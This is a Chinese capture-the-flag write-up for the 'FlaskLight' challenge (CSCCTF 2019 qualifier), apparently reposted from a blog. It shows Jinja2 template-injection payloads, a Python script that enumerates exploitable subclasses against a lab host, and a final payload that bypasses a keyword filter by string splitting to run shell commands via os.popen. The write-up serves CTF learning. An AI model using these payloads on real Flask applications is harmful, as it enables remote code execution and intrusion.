[CSCCTF 2019 Qual]FlaskLight
作者:互联网
根据题目很明显这个题目应该是SSTI类型的题目
加上它暗示你search for 于是尝试用get传参?search={{config}}
出现了它的config信息说明这个是注入成功了。
于是开始利用漏洞
payload:找可利用的类
{{[].__class__.__base__.__subclasses__()}}
当然payload里面的__base__也可以换成__bases__然后找到对应第几个是它的object类
{{[].__class__.__bases__[0].__subclasses__()}}
这两个是等价的
然后开始用脚本找具体是哪一个
脚本如下:
#查找可以利用的类 import requests import time # 可利用类的字典 list = ["site._Printer", "site.Quitter", "warnings.catch_warnings", "os._wrap_close", "popen", "Popen"] for i in range(0, 1000): url = "http://3427ab2f-1aac-4e38-8be7-f2a6cd46e9d8.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}" time.sleep(0.1) r = requests.get(url) # print(res) # print(r.text) # print(r.text) for j in list: if j in r.text: print(i) print(j) break
跑出来的结果,可以利用上面的任何一个来
首先是利用不含os的
比如说warnings.catch_warnings这个
{{[].__class__.__base__.__subclasses__()[59].__init__['__glob''als__']['__buil'+'tins__']['eval']("__import__('os').popen('ls').read()")}}
这个题目的__globals__被禁用了用引号拼接绕过
我尝试过用system发现回显的一直是个0所以我就用了popen
最终payload:
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo''bals__']['__buil''tins__']['eval']("__import__('os').popen('more /flasklight/coomme_geeeett_youur_flek').read()")}}
标签:__,.__,CSCCTF,__.__,Qual,2019,print,subclasses,class 来源: https://www.cnblogs.com/FPointzero/p/16450819.html